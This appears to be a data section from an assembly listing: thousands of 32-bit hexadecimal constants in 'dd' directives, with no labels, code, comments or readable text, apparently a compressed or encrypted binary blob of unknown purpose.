dd 98BE8201h, 90504B9Dh, 0FC07717h, 218611E9h, 21DAAE0h
dd 99F40EF8h, 72D084ABh, 880379B6h, 55340DCBh, 88E5DB6Dh
dd 51A546Bh, 255B3D2Dh, 782480CDh, 0CE037951h, 46282B95h
dd 0DCCFBB7Bh, 0EFC82480h, 2A343EBBh, 60003458h, 0E0A83744h
dd 9748A7F9h, 49900124h, 99C9BB89h, 1B50E4h, 0E2E39225h
dd 30D6805Ah, 0A5133Ah, 0A983E76Fh, 0B751E5h, 5E04C201h
dd 888467F8h, 0FDD33D03h, 0C1C9B3E9h, 8BEA92Fh, 0A3719E00h
dd 0A21E3FF6h, 101F2A00h, 70ACFD5Eh, 0E24F0778h, 0CE6DB943h
dd 97876B80h, 8D00D9F2h, 4504D854h, 1D1CFD3Bh, 0BCF14717h
dd 70F8987Eh, 104EA89h, 0D2639E2Dh, 8097A465h, 0EE8CBB70h
dd 3CE467h, 0A99FDAA3h, 76FDD00Eh, 6175B300h, 9A97BD8Ch
dd 0D6DC00BEh, 1FB22F36h, 3D004D94h, 4313B826h, 5A5E77h
dd 0C6EF33D5h, 9038B158h, 3285BB06h, 168BA23h, 520E4613h
dd 0F4EDD27Dh, 0E70065A6h, 84C0DD0Fh, 39F7F1Bh, 0E0897761h
dd 0CDA176D1h, 0DE2080E6h, 8091B8Bh, 859900CCh, 430D3205h
dd 753CC49Fh, 0B5ED9EBCh, 4BF66980h, 0E760DDh, 8FD75635h
dd 10B05F78h, 7C620200h, 4A494132h, 98193B18h, 9ACDC200h
dd 7E58BB44h, 0A091F803h, 6499170Ah, 6186A878h, 9FC01B89h
dd 29448C79h, 289C5CDBh, 6A19A309h, 18B71B00h, 341EAC0Ah
dd 0E7D9AAA1h, 51837560h, 8B8DC4B1h, 0D524C000h, 8636FB18h
dd 59E330B8h, 0DEA0F6C8h, 0FE5AD0C0h, 80E2F8h, 0A3881575h
dd 4A3446A6h, 9EF04200h, 0E22120B8h, 15051D94h, 84D580FBh
dd 3686374Ch, 6AA3ED00h, 6EDE4166h, 58BA19C3h, 1888E015h
dd 7E1B08B3h, 2EC4699Fh, 1B9E405Ch, 6EBF5AAEh, 0ADE4F500h
dd 9D61235Fh, 0C08A7432h, 5A87BD48h, 0C5060591h, 0D53C5771h
dd 0C8596008h, 5AEE470Fh, 19324500h, 0B22707C0h, 480E6481h
dd 5A28609Eh, 0ED052392h, 7C004211h, 0FC795AF7h, 0A403CB81h
dd 334E726Ah, 0E0410183h, 0DD6E82C8h, 8920E4F6h, 0C5C01605h
dd 0F8001DBAh, 72183E02h, 576606B7h, 386794D7h, 0C08988C8h
dd 5955A83h, 5522E546h, 5AEA7B01h, 3EDE31DFh, 50E4E530h
dd 1860989Bh, 7492C656h, 0A00C0A58h, 59880240h, 857C005Bh
dd 0D0E13494h, 0E418AE01h, 61382AE8h, 0B80B182Bh, 95474999h
dd 0C081CB00h, 6E646A86h, 7308C697h, 0D900202Bh, 3152CB8Ch
dd 130D7BE9h, 38F8B88h, 36BD99C5h, 0E70059A6h, 5684FAAh
dd 3195AB3h, 0E9DE85AFh, 21035BF5h, 0B259022Fh, 9B44A021h
dd 84A6AAAh, 714AACh, 5222D59h, 3B04990Ch, 56589A86h, 5588048Eh
dd 666F95C0h, 87340F5h, 0B1A2DA00h, 36339B82h, 0DEB33011h
dd 64C5F7B9h, 1F7FDB5Ch, 848076A2h, 0BE2D3EEDh, 3D9C9095h
dd 58B2C210h, 0B493E718h, 248C9876h, 14945A82h, 56884C3Dh
dd 5AE94A80h, 98336B2h, 1F2FBFDEh, 0C37F9027h, 6011422Eh
dd 7EAE37h, 5C231C4Dh, 7D826DC5h, 77D65200h, 0B8EA7563h
dd 864E0033h, 0BCB2DC0Fh, 40C2402Eh, 4837A68Ah, 9160ACh
dd 7097941Ch, 0A741BF7Ch, 0B500EAB0h, 0B3130ABEh, 6030FDA4h
dd 0C3EEF1B8h, 89008601h, 60CDDC61h, 488AD628h, 12076C0Bh
dd 60025975h, 0C57FEC10h, 57AEE400h, 0DDEBCB44h, 0C2FB3036h
dd 0A6D4BC40h, 0E4EE59DFh, 0FA55E006h, 17EA0320h, 8EDDC0F0h
dd 260809Ch, 2B247F82h, 83C04C6Dh, 46C02FCBh, 175C2296h
dd 0CB9B27h, 0F74C54F8h, 3013418Fh, 4C004A68h, 2EDE5AB2h
dd 90D66038h, 414C23Fh, 5468BC03h, 0E93E19A9h, 0D8831EE2h
dd 7E789EC6h, 0B6FB1809h, 0C9424DEh, 82CB9260h, 6BFEC010h
dd 2E805DC8h, 5B04CB8Ah, 4C323C08h, 0EDF869E0h, 20847B79h
dd 0FC8B7D50h, 1A6923h, 0C08CCB94h, 4486696Eh, 8B2ED85Fh
dd 9E0349CBh, 0DA56D1C8h, 32184889h, 5C683194h, 31E5E460h
dd 3AB00512h, 7532354h, 20C3868Eh, 0C2542A2Bh, 51B2C530h
dd 6038AEDEh, 0EE40687Bh, 0BB440AEDh, 4AC518E4h, 0A1322836h
dd 2F26E200h, 98C6FDA5h, 4D700A4h, 40A8E915h, 57077252h
dd 0D8817ECEh, 0ED0A6180h, 15C00B8h, 949063A6h, 9C008F1Ch
dd 69792B0Bh, 7F109254h, 8D5C0762h, 60E9B957h, 6CA0C633h
dd 1266DE1Eh, 0D6ED8FFFh, 5C13A0C1h, 1051B53h, 0C83B5F6Dh
dd 0D02BF315h, 271CF7FFh, 0E300DC29h, 8DF43E01h, 0AF3900C5h
dd 0E4DE0D80h, 0AD078241h, 0A9FDB72Dh, 0F8165250h, 5FE300D1h
dd 15A09FB6h, 9E0377F9h, 699065DFh, 5BE4B0C4h, 66970EA6h
dd 0BD6E2Fh, 0DEBE0918h, 0FF008FAFh, 0C605D0D8h, 0F80A04DDh
dd 27310F06h, 0A301DEA8h, 8019B7BDh, 0E216B831h, 0D85249h
dd 0E5A0B52Bh, 0A3ADF239h, 0F36A9E00h, 0F0C98441h, 13AC0090h
dd 75B58FC1h, 0C00D99Fh, 67B4AD79h, 6C0D31h, 45A09516h
dd 8E19D527h, 558014A5h, 6B201C4h, 53DA108Ch, 1485F08Dh
dd 15531CBAh, 0E45FC05Dh, 0A9222975h, 1903D300h, 62598F20h
dd 0D22408CDh, 0C9D91618h, 148C05C0h, 74EFE971h, 53CA34E0h
dd 33143000h, 7561A5B1h, 0B31E00BBh, 72661056h, 7E29BA77h
dd 0D1C03442h, 1AACA6E8h, 705EB29Ah, 8D622030h, 0C25A141Eh
dd 0B5443C14h, 6D080400h, 3A472B24h, 0CE8ACFFAh, 0E0BDC1h
dd 0CCC411B3h, 86001D01h, 961F4167h, 910F4Bh, 0A9350DF5h
dd 2FE9A1A0h, 7F012B79h, 0B64C24C2h, 0C21D597h, 3E6553E4h
dd 0D310C1C6h, 0D841ED2h, 22B3E40Eh, 4330820Ah, 2870031Ch
dd 11CE15A8h, 562A1100h, 34A2A9E1h, 8B300EC2h, 138CC1FCh
dd 5500C521h, 667F86E1h, 24B33E5Ah, 8B44AEF3h, 0BA80CCABh
dd 3921B5C2h, 0A90F0C00h, 8089858Bh, 18ADEE47h, 0A8CED79Fh
dd 4318CF5Eh, 769050AAh, 36A2FE48h, 9810BC1Fh, 78630E46h
dd 9044A1FCh, 0CA88444Ch, 0DA9D0098h, 0B15686BDh, 48C1AC5Bh
dd 361F2C6Dh, 638A420h, 20F03F06h, 0FE0EB003h, 205750ABh
dd 0BFA128FAh, 0C708CCF3h, 817F13D1h, 5C9C7805h, 0A7805125h
dd 0C1CA6B8Eh, 9DE70C0h, 80DBEDFFh, 6C9DD310h, 78395Dh
dd 63B8261h
dd 8AC8F907h, 0A5961903h, 98C789EEh, 2E6E1A3h, 48499B76h
dd 7A60CB81h, 8D0008A6h, 0ECFD999Eh, 3548F65h, 0E6D7BAD3h
dd 0D4035559h, 7EA292F2h, 7D102957h, 7DCA5F04h, 986014h
dd 0DCF1CF9Dh, 0E8BED7BFh, 958B3D2Bh, 44D8E300h, 9720FDEh
dd 0CC9D580Ch, 444A29F4h, 0C9441CDBh, 0A54D4453h, 0E906E644h
dd 10CD4C11h, 8008F867h, 0AC8BFB12h, 48BCF523h, 3F76410Bh
dd 200E02DBh, 32158F1Fh, 41F78600h, 73A02AF3h, 0CC3A0080h
dd 97CEE50Fh, 0BF1EB438h, 0D70083EEh, 0BA94BC2Eh, 0F163009Eh
dd 0D7FEB7Ch, 5E05EA3Eh, 70FC295Fh, 34C83B80h, 0CB260987h
dd 9B80BB2Ch, 531950ECh, 378A4000h, 0B485D899h, 0AD83004Dh
dd 88FC17F3h, 0ED7563A0h, 5408AE00h, 0E43BCB20h, 0B4060190h
dd 41175B1Bh, 2D1180CFh, 546F9B73h, 897000E9h, 16584A1Fh
dd 600DC48h, 0FB8AA288h, 1B6293Fh, 0BEBA6B7Ah, 0C86057A8h
dd 503C6FB0h, 0DF180D4h, 2BA34224h, 4FA0009Dh, 0C6B03044h
dd 0F4A38670h, 0FF3DD398h, 0E9EAAA03h, 986F2E8Dh, 30DEA006h
dd 91108F78h, 8201E7F8h, 0A7901FC8h, 1230843Eh, 0D98007Dh
dd 74E9300Bh, 1D0F7EA3h, 0B4A9E4DBh, 0D74B00A0h, 0C7254041h
dd 74F400CDh, 280B0981h, 87009C91h, 41E682D3h, 3A6BB486h
dd 0D0804377h, 0F957B2ACh, 0C7004758h, 9E546261h, 3497696h
dd 4FAAF2B0h, 498636FEh, 295CAB30h, 174BA59h, 4910CE38h
dd 0DCEE5F8Eh, 0C83E7264h, 0B96A8B8Ch, 0A8330169h, 91E84DD3h
dd 0E08007F0h, 0D3BFF1DCh, 0ACB4682h, 8D4E15C8h, 73372C00h
dd 353DB407h, 63AD004Dh, 574C4D6h, 0CC0EF9E8h, 4050DEA7h
dd 0F7BF7352h, 4826005Bh, 202D03BAh, 5F3EC899h, 0D57C878Dh
dd 5B0BB7Ah, 9C4F38h, 0A097E3FCh, 0B98C5D6Dh, 0AC7DB000h
dd 0A6246971h, 0E8FB0739h, 0E31CC0C3h, 0CA87372h, 0D0009EDDh
dd 8DA72FDBh, 255584h, 0D3F2EA4Ah, 25F165Bh, 0E431103h
dd 0A875061Fh, 900D1251h, 0B2A30072h, 8421AE4Fh, 9E4C881Ah
dd 34EB0EC6h, 626360D3h, 8238D8h, 4FCCAA90h, 7B5B8E85h
dd 970E23ECh, 80F51D78h, 0DB1BB5ECh, 8EAE12A6h, 59100090h
dd 982C22B9h, 0A0FCE000h, 0B8E9FB5Eh, 7DAC00F5h, 1342B7B2h
dd 30FEC54Ch, 90290300h, 0D2507CB3h, 0F41C0EA7h, 56E0E697h
dd 7F1F8FA0h, 926D5E3Ch, 38071D35h, 8F8819Dh, 0C5810F09h
dd 0AACBCF5Dh, 0AB63E4h, 81F64FB5h, 39EFD7B7h, 0CDEBE907h
dd 9020AF3Dh, 3E1144Ah, 0E0185DFEh, 0ACA0AB62h, 8F00FC2Dh
dd 9F5CEE4Bh, 5AB5C5h, 0D3338D19h, 0F986F12Eh, 96D4100h
dd 0F5D2D0D6h, 257D07AFh, 0D068D10Ch, 0B7C84AADh, 6F29B500h
dd 205364C1h, 7C7F16A6h, 7D340055h, 0E83841BFh, 4E307900h
dd 0FB43C9E0h, 0FEFAFDh, 0F7490D3Fh, 0F5BA19F6h, 721CD3Ah
dd 459375CCh, 8015A6h, 7E486134h, 0A1241FE5h, 9C21C312h
dd 9F2FC003h, 9815B306h, 0FB4033h, 8BAFE1EEh, 5F63FF9Dh
dd 492E2500h, 0D67D9FCFh, 26E00167h, 0D28D0B04h, 685CCC20h
dd 5A4E7C00h, 0ADB91BCDh, 3D709872h, 27009AB8h, 0A4FC262Dh
dd 3C984E18h, 0BD432101h, 0E77CD207h, 0A7848032h, 0D6F28371h
dd 0FCCFB798h, 7A00C490h, 0DD2AA591h, 51CBB1h, 0D133F95Dh
dd 0BAB4087Fh, 72C89D3Fh, 56106063h, 0D3C1ABACh, 0A3CEA965h
dd 9555434h, 0B8F83DB5h, 3360940Fh, 0A8D9365Eh, 50E7A25Ch
dd 27005660h, 0D0AC5C9Eh, 0CD8896h, 751353D6h, 576F2B66h
dd 4C2AF600h, 0FB7DAE0Ch, 68E83ACBh, 50F0F880h, 69B7609Eh
dd 3BD47C52h, 37FF80DEh, 88A432C4h, 1CE700F2h, 0CAA5D55Fh
dd 7F002079h, 34D24D29h, 6358DBh, 2BBF5E49h, 550A7C7Ah
dd 0AA045200h, 0C27B0B44h, 1F0609F8h, 2D011EFFh, 0D4AF84BDh
dd 4E008751h, 92726D40h, 38B14CEBh, 7C80F3FCh, 3891C218h
dd 54006A8Dh, 0A5CC398Ah, 0E13717h, 0C57914B1h, 6B3E3F9Ah
dd 93FF20C0h, 3C1C36C0h, 1775EF1h, 47B33761h, 0C387120Dh
dd 0C620D087h, 0B49858D4h, 6838FA06h, 40E5F4h, 45EDD9ACh
dd 40DB010Dh, 4731D200h, 0AB217196h, 4CF60095h, 0DC7C57F2h
dd 2D002920h, 5A80BA22h, 307974Dh, 353098C7h, 0EE9842FAh
dd 0F0E6C117h, 4D04027Dh, 0B133D72h, 7AC068C0h, 0F49500A7h
dd 9A89AEEh, 5A010368h, 4FD7908Ch, 3080D970h, 898004C0h
dd 0FF9014D8h, 0D107667Ch, 8384B8Dh, 1D60A690h, 87E50E95h
dd 0FD4021EAh, 39F1A9D0h, 0C98D9200h, 451284F5h, 0EF220024h
dd 31FBE8D1h, 72006746h, 9CE6E5B6h, 0F1E86B8h, 56A9B573h
dd 5E996360h, 0EF019AE7h, 0F268BE12h, 55D0E045h, 9E9C0056h
dd 0EB646F92h, 0A3005A2Dh, 5C5E420h, 0EE279C7h, 0EF8A7551h
dd 59D0C9A0h, 340078E0h, 0B0C415A1h, 8C1988h, 0E10B777Ch
dd 8EDA3EE7h, 0EBF5F71Dh, 0DFA26980h, 24342CB3h, 0F4BFCEh
dd 81714363h, 5CBADA29h, 0A33D8200h, 386A119Fh, 19790F03h
dd 4940F35Eh, 12EC7BDDh, 0E91EF600h, 18913CAFh, 0A21B00A4h
dd 4D6F3A87h, 9E025F68h, 0B68E9CA0h, 25E44127h, 0B8D8ECC8h
dd 73B50912h, 0BC027801h, 78C003A4h, 0F034C6Ah, 81C24E32h
dd 0C0CCE1h, 6D59FFh, 65722D7Ch, 67F12BD1h, 0B10B39B8h
dd 1CAEF0Ah, 50645E80h, 0B52230h, 31A2BC1Fh, 8F91B96Fh
dd 0A68A2800h, 0E7C5EA3Bh, 60C300FDh, 0FB0F1DFEh, 0ED006514h
dd 0C7FABE03h, 0B8D4F35Bh, 0EEBB909Dh, 340613E1h, 4E1A1F6Fh
dd 0E925D967h, 9AAC0024h, 8137AB2Bh, 25473200h, 0EF78CDB9h
dd 578C003Fh, 18A29BD8h, 30E8F36h, 40DD3C44h, 0AF527281h
dd 69B800FFh, 38A86761h, 0C100E314h, 6ABFC358h, 504136h
dd 0C63451DFh, 0B290AA7h, 87392B00h, 2031EE96h, 485D7419h
dd 0D301A8FEh, 2CE15C1Dh, 8C82E44Ch, 15E84400h, 0CBFFF7D8h
dd 0C6DB0103h, 9D888339h, 8A52DCB2h, 0F3EFED00h, 35380A60h
dd 1E0D1EFEh, 0C8F2C057h, 0FA527B93h, 0A178139h, 0D476E27Dh
dd 71BE803Eh, 0BC982E51h, 0CDE900EFh, 42B99F2Dh, 39754B27h
dd 0F7795900h, 105F9D50h, 0AA4E0E1Ch, 44A03F35h, 481AB105h
dd 559D658h, 0A1A0A303h, 0C8A5D40Fh, 0B0C8604Ch, 0C5902EB7h
dd 0A43D0101h, 89F68824h, 0B264470h, 4A2734D4h, 0D68FCC00h
dd 0E50BF1E8h, 808D8C9Bh, 730A89D4h, 1FCA18D1h, 3B129B4h
dd 0E2F75703h, 32B9242h, 180BB278h, 81C05153h, 0BC001AC4h
dd 97D06B0Ah, 1CFFE079h, 0C0F2B97Ch, 0DC8295ADh, 427F8F8Dh
dd 1C23D600h, 0F081E147h, 0FD4007BBh, 7FB092A3h, 0DE3CEE67h
dd 340F9CD5h, 0BA8F52F3h, 0F1A33F60h, 81F26F71h, 0DCA49554h
dd 599E3A00h, 5C3983F5h, 3C300BF8h, 96005BAEh, 0AB4D1D13h
dd 1ADE2201h, 0A3CBDB26h, 0BEC9C080h, 97CF08B8h, 4CB63800h
dd 0EC836810h, 55D400F0h, 0BC60628Dh, 5B399F69h, 806A0E11h
dd 52656074h, 1C3865Dh, 0B4491E27h, 302C9AF2h, 4100D0F7h
dd 0CDC40C26h, 36A0F2Ah, 0E023DA28h, 0AFA8B24Bh, 0C50092AEh
dd 2409970Ah, 0A0D57408h, 1978C8D2h, 0F872DCA6h, 0ECE8FAA1h
dd 75606DE9h, 0CF0619CCh, 0C0B7606Bh, 0DEFDFF9Ch, 0FE45F503h
dd 0D01B232Fh, 3A017087h, 1F07265h, 0B25667A0h, 0FACBE9B1h
dd 0D3D75D60h, 2E3CBB00h, 8A5A27C5h, 4D7491h, 0A41EDAFBh
dd 5D1BA667h, 0CB8D0D00h, 0CEFEAB4Ah, 8FE7009Eh, 10B6FFD0h
dd 1C006DD5h, 0B4CF7C18h, 0B15558h, 895E9DB0h, 94D42C44h
dd 68F01512h, 0AB82F800h
dd 24BF18C2h, 3280D0Eh, 0E0BC84ADh, 60E799F0h, 5DAC8750h
dd 58688A00h, 4A0AC66Dh, 0F1011E35h, 2B179Fh, 9CDD1D24h
dd 0B01CDA3Ah, 4FC0D1ADh, 1067084Eh, 7704EDCh, 25A84B8Ch
dd 0E4CC0B3h, 0B500A381h, 93F1746Bh, 98C4766h, 0CF16C02Bh
dd 0BABDD480h, 2600A471h, 5346406h, 91AFE3h, 0BF257EB6h
dd 7BC23073h, 79000E75h, 57EDE2C6h, 488AD5A3h, 0AA285A41h
dd 0DE871190h, 513D8090h, 0F4FC157Ch, 0B0F3003Eh, 0D186C457h
dd 0DC00770Ah, 0F4D7887Bh, 377A5978h, 70C15E12h, 7F7379E1h
dd 8C3AC628h, 0BD069398h, 8B77A272h, 239E1D68h, 82EB8087h
dd 57F4B333h, 48009C9Eh, 812AA24h, 0BEBC1751h, 34F44128h
dd 0CD41F836h, 28B6C5E4h, 0A09000CCh, 626EB745h, 42C25826h
dd 9B73E900h, 7172698Bh, 0FF5EC000h, 0EDC12A3Fh, 0D6BC18EEh
dd 207DA845h, 33721807h, 7720BDCCh, 5D866201h, 3900F80Fh
dd 3772DF99h, 0FC008C1Ch, 47D08E0Eh, 941D3ABBh, 43CA1D1Ch
dd 0A139FECFh, 5C7014EAh, 9C1C89E8h, 0F64113A6h, 9EC6A84Fh
dd 1D213080h, 0E4B2A4Eh, 757CC0C0h, 0EB4F62h, 79674C76h
dd 0E1A48C3Eh, 0FC11DC00h, 0A6ED1D9Fh, 9438E1B2h, 871E429Eh
dd 32101F3Dh, 0F6020C71h, 2058BB85h, 6AA59002h, 87FB8AA4h
dd 1E32B1A0h, 90C3B7h, 0BA1AB9E1h, 0F493D7E7h, 4E49D400h
dd 3BCF34B7h, 0B0F600E9h, 0A86659A9h, 1500DCD2h, 0A53C969Ch
dd 56451Fh, 0D3FAC4F9h, 0DED8E84Dh, 2955CE40h, 7E023E6h
dd 0C7C4BD5Bh, 89FEE6FBh, 18384894h, 3D89378Bh, 1BAA0E95h
dd 0C0BC1281h, 0CEAD31D6h, 3E0070C9h, 8A7DA256h, 1092D03h
dd 0CAFC2955h, 0FC434AABh, 800002D6h, 0E840CC1Eh, 0B6D049h
dd 0D4811492h, 3B697CF6h, 0F864992Ah, 0E0AD5D1Ch, 14F33F04h
dd 6B0B2C90h, 4ECD16B3h, 22E480E2h, 7200E72Fh, 0EAE939F7h
dd 1C522797h, 0C1C5047Bh, 0D590C4BBh, 0E04180CCh, 1E0ABE43h
dd 59351323h, 0DA180027h, 5226CAF7h, 685FC707h, 18008692h
dd 2E3856CDh, 95AE55Eh, 9002C947h, 5C40680Dh, 8503490Fh
dd 8C446E59h, 5A81E8E0h, 33EE13A0h, 3FB0004Bh, 30580C21h
dd 48860903h, 1FD7CFAh, 0F3631388h, 41400215h, 2C2747C4h
dd 5CA0E7A0h, 35DCFF4h, 0BC39A5E2h, 70F82143h, 12045E7Ch
dd 5BCEFA10h, 40AE2B0Eh, 9A423703h, 9C6097C0h, 8C7DAE01h
dd 521AAB5Eh, 0C72896h, 45C30C94h, 5B307A8Bh, 0E6DB18AFh
dd 2B280072h, 0FBBA45Dh, 0F8048E25h, 7D7309D4h, 1CE30EC0h
dd 0BE2C02EBh, 57B78B7Ah, 0F5F62469h, 2D783010h, 62CCA77h
dd 5C00E4B4h, 0D717784Dh, 5D971F2Bh, 0F7448070h, 867DACD2h
dd 3CF56A3Bh, 8B7B0523h, 0EC5CD3B4h, 4DE73040h, 48287FFCh
dd 0D8009344h, 0B2F49DAFh, 0B700437Dh, 7614DBA0h, 0B7BA9BCCh
dd 4E89D5C0h, 661B4C00h, 812DF875h, 0D3620006h, 30FCC9Ch
dd 9B0074CFh, 0A6796A63h, 3D932339h, 0AB89AE97h, 0C98F33C0h
dd 9C0765h, 5BBC57A0h, 4500C57Ch, 0BCCB989h, 48AFA1DCh
dd 287D1516h, 1EB1243h, 0D0EE97FAh, 640E99DAh, 0BC012908h
dd 0E6868008h, 2CF4CDDCh, 487C01ADh, 7BF770F0h, 85E8C007h
dd 62EB1500h, 99EA5531h, 0BDA9008Fh, 5F63FE41h, 731D3423h
dd 25C0B1E0h, 0D87C5859h, 0E720053h, 0D1C22E09h, 77000756h
dd 12AD416Fh, 3F6B3032h, 0C500B2DFh, 0FC23B44Ch, 0E217F43Ah
dd 2C40D9CDh, 3B6646DAh, 0B08F00DCh, 0BAD7CAD5h, 91003C4Ch
dd 0D994391Bh, 2830A8E4h, 70E8D267h, 192B1FB0h, 811070B9h
dd 101F9F7h, 6B8EB2A2h, 18702F3Eh, 0E9EE00C3h, 0F404C7F3h
dd 8600501Dh, 2D53694Ch, 1FA38D62h, 774175Ah, 50F0654Dh
dd 0DFC4A088h, 0E34B3Ch, 98A537DCh, 98592B8Dh, 0E15A0021h
dd 0EC55F328h, 950099CEh, 33250CFFh, 237421h, 0E001A09Eh
dd 0DEE3C1A5h, 0B6990F0Eh, 0C8D7800Eh, 0FD5EF6h, 0FA6F2AECh
dd 1984A8D6h, 0DEB85F50h, 8BEF3300h, 2EB7B3A0h, 5E9200D3h
dd 3684ED11h, 0DA0E3D09h, 0AEFB246Fh, 21FFC9BFh, 0DDFA1C50h
dd 6FE034h, 43F7956Bh, 0B5E42A6Eh, 14777A00h, 0D89D9730h
dd 520B2A6h, 0AD7CC5FBh, 0A84CD344h, 2DE488D4h, 16D91C13h
dd 0E5155440h, 0A02A73h, 0A73996E3h, 8B7067B3h, 0D44E792Ch
dd 0ECFC80BFh, 2FE0129Eh, 7F5F7438h, 8CEE45h, 3C6413CBh
dd 1EAB6281h, 900F285Ah, 0AF00109Ch, 20D995Bh, 0CA00E831h
dd 9127F447h, 66B419h, 0FB87C950h, 8B2BC041h, 0D9C6A600h
dd 94481822h, 49DB0B4Fh, 0BA009BF0h, 4565097Fh, 742E2C00h
dd 0D5895068h, 8C7C02BFh, 355B143Eh, 0A0EE1CC0h, 8C0C4726h
dd 0DBC2D04h, 0CB268300h, 6CE7DB27h, 0BA471F3Ch, 33CD4D80h
dd 173DE0Ch, 9B0E526Fh, 0F8F3C597h, 1500F655h, 81FF17E2h
dd 5E7E5166h, 3168009Eh, 3424B48Eh, 0EAA4C100h, 0F3DE45D2h
dd 0C0D71F59h, 6DCB0076h, 0AB329E1Dh, 2B006FEEh, 7F48828Dh
dd 0A79766h, 7C8780DAh, 32CF0D4Ah, 0FD0BB1FAh, 25D2301Fh
dd 38A3A6E0h, 1710CC80h, 0C801F652h, 0AE0B7109h, 58607F82h
dd 8EF4001Dh, 0C7A08789h, 0B400339Dh, 0B16F2B6Dh, 307D2902h
dd 2490CD17h, 6004D84Eh, 0A8C6B741h, 3F1BCCC0h, 982800F5h
dd 0F4499D95h, 0CF60E671h, 3C0A7E30h, 0B08EC04h, 51A3A790h
dd 18239061h, 852B07F0h, 3920D187h, 0C1E21D00h, 37007D0Bh
dd 725E6289h, 0E23274Eh, 6A7A7507h, 0A1B42D43h, 5CC1F8A8h
dd 3B60E300h, 6261DC2Ah, 11A3007Fh, 0C00F01C4h, 0C21FD3B7h
dd 8D961619h, 0FA3E5403h, 0ACC0FCD9h, 2C9DAC1h, 1F6208CDh
dd 8448F9C3h, 0E0C0BA8Dh, 9D586C63h, 0A350002Fh, 99554B6h
dd 8000C7C5h, 0AC5BF7A5h, 3EA8E3Eh, 0E3FA6408h, 46882191h
dd 250F06AAh, 203017B6h, 0B980D1Ch, 1C09A54h, 3EC7EBE9h
dd 609D264Ch, 6D006CC5h, 310609BBh, 7E4D3537h, 414507C0h
dd 7F222ABh, 6988A1AAh, 36BEC07Dh, 0EBE31F00h, 21F0A006h
dd 0C02A4CE4h, 0B2149805h, 968C800Fh, 0AC1CC6F9h, 0C24056EBh
dd 0DFC1586Bh, 0D6AB0752h, 11892C61h, 39CBED30h, 0AA298048h
dd 5EB2FE08h, 0E9AC42DAh, 8860C92Dh, 6F0C4CD9h, 10CE9C4Dh
dd 0B94439EAh, 0CD5C2400h, 3F478775h, 7F0237E2h, 2DEC82D1h
dd 0B4F04Dh, 5A09C744h, 3606D628h, 0A0BC3271h, 80E1B108h
dd 624601D0h, 60C7E3C3h, 0F58024EFh, 0B6F2E92h, 36483EF2h
dd 0E6F14C98h, 0DF087B00h, 6E4A33A2h, 7AC9031Eh, 0CC911972h
dd 6A77A6F8h, 0CFB11B03h, 0A2A346h, 0C3496E10h, 0F2E4DD0Ch
dd 0E52B4F09h, 609D80F6h, 8167A2h, 1BB0C8A9h, 2841DA02h
dd 1A8A8530h, 22F14F7h, 0ADC2D9F9h, 0D463B2BFh, 321D0FB0h
dd 1A6BE707h, 0B41091D8h, 1763338h, 0DF78215h, 0C704C954h
dd 641BDFB0h, 7BBE4900h, 7C1E1F76h, 671D483Fh, 8069AA13h
dd 0F4387904h, 0EE2B401Ch, 8BD4B204h, 2ACBC4C0h, 4CE584Bh
dd 523FCC03h, 6C90221Ch, 1F246979h, 0C50F349Fh, 0F28C8058h
dd 0E082142h, 0B8B08885h, 0A3457B80h, 9090F9F0h, 7F00CF98h
dd 0EDEA0E05h, 2DBD3BFDh, 0DC006581h, 0B4486777h, 27BFBC09h
dd 3434015Dh, 2E01B7A0h, 0DF652033h, 450E2B00h, 2A9960A4h
dd 444B1265h, 7D208F7Bh, 54C0DC4Ah, 7DBFB88Bh, 516E005Fh
dd 53440E33h, 0A61745FCh, 741CD110h, 0B7FF4F40h, 76A0D4h
dd 69B36373h, 7B06D734h, 0F20033E8h, 16591994h, 878D58h
dd 8C505EAEh, 0C038B27Dh
dd 0AA751001h, 7C5916CCh, 64AB60h, 90C6E186h, 7712A9C4h
dd 3A0F4AF6h, 0C0EF5575h, 0C7675EA8h, 1E8C3F2Dh, 6A0DB580h
dd 0D14CF335h, 557BE91Fh, 4BBCD580h, 3BE533F0h, 160079B6h
dd 9CB58E28h, 9200A415h, 0A53220F4h, 3E7649h, 93972AFDh
dd 0D44E0DD6h, 9E8A5F07h, 99C03FD3h, 9B8FF2Eh, 5593FE44h
dd 9FCC3860h, 0D626C700h, 0F0DDE009h, 90B475CDh, 53FE47h
dd 17227545h, 0D6EA355Dh, 0A1F61F00h, 10B38997h, 58EC5Ch
dd 195D1CD3h, 3F2798E7h, 94DED01Fh, 0D65760B0h, 1414AD8h
dd 729DC498h, 715720A2h, 0A1BBAE16h, 0ADF63007h, 0ADC1B6C5h
dd 38808551h, 53163255h, 0A10E8938h, 80B13E6Ch, 0C04BAC28h
dd 0BCEC0009h, 4A8FA9F7h, 0A4EA5599h, 88945703h, 132F2ADh
dd 3172B559h, 8252B342h, 0C8BF8E91h, 56000F41h, 1C680E7Bh
dd 0C16A6200h, 519E5C95h, 308F0CB3h, 58295302h, 0A9650107h
dd 16E012D5h, 8AEAB7h, 6FED460Ch, 0B1BFDB20h, 35583200h
dd 8E55F089h, 0BCF0048h, 191611FAh, 0E0B8A19Ah, 2C625D00h
dd 29789836h, 0CEE8D0h, 96A91748h, 0ABA542Eh, 8BD80200h
dd 0B836B4D5h, 31C403CEh, 9E856558h, 0FBD90F80h, 3A2E5101h
dd 80299472h, 1FD28BE8h, 0E7A4DA83h, 2CE0D4AEh, 5639874Ah
dd 5468C700h, 0AD519430h, 0B45A000Eh, 0A57D061Ch, 8F28ACF9h
dd 0A03DC88h, 0B5577E52h, 0EBD4F251h, 507C700h, 18FE59CCh
dd 18B084E1h, 2003FD2h, 0AF9FD927h, 0C5CDCBEh, 381EC1B3h
dd 0A000ED31h, 0AEC2AD7Fh, 158B6DEh, 0AA97FB5Ah, 9E50EFFFh
dd 0A981D661h, 0D690C43h, 318DBBD0h, 0DE819C83h, 717180BFh
dd 0E5DC18C0h, 0CF32090Ah, 30100C01h, 29004EFDh, 0AA873E05h
dd 0D6450Dh, 40E3E71Eh, 987DA5C4h, 0DF002A74h, 0AC292389h
dd 4A0B55Eh, 0BA90779Eh, 0E1A3873Dh, 0ECE8684Eh, 722C99A3h
dd 510E6D56h, 0E0836FA7h, 0AAFDED2h, 0E0AFB0E1h, 55220F04h
dd 0B2808B30h, 0B3157260h, 3516C200h, 0D39839CAh, 0D579039Ch
dd 33E6C562h, 380118D6h, 3B55462Dh, 4F0C652h, 1921867Fh
dd 22E92662h, 51B2220Ch, 1184C8F6h, 3050DB6Dh, 0ADB54933h
dd 18DA6F06h, 0C5B27562h, 96812601h, 62CA0881h, 20CC34A9h
dd 0A230BABEh, 89B3183Bh, 0E1B23370h, 8103EE50h, 8633BCA7h
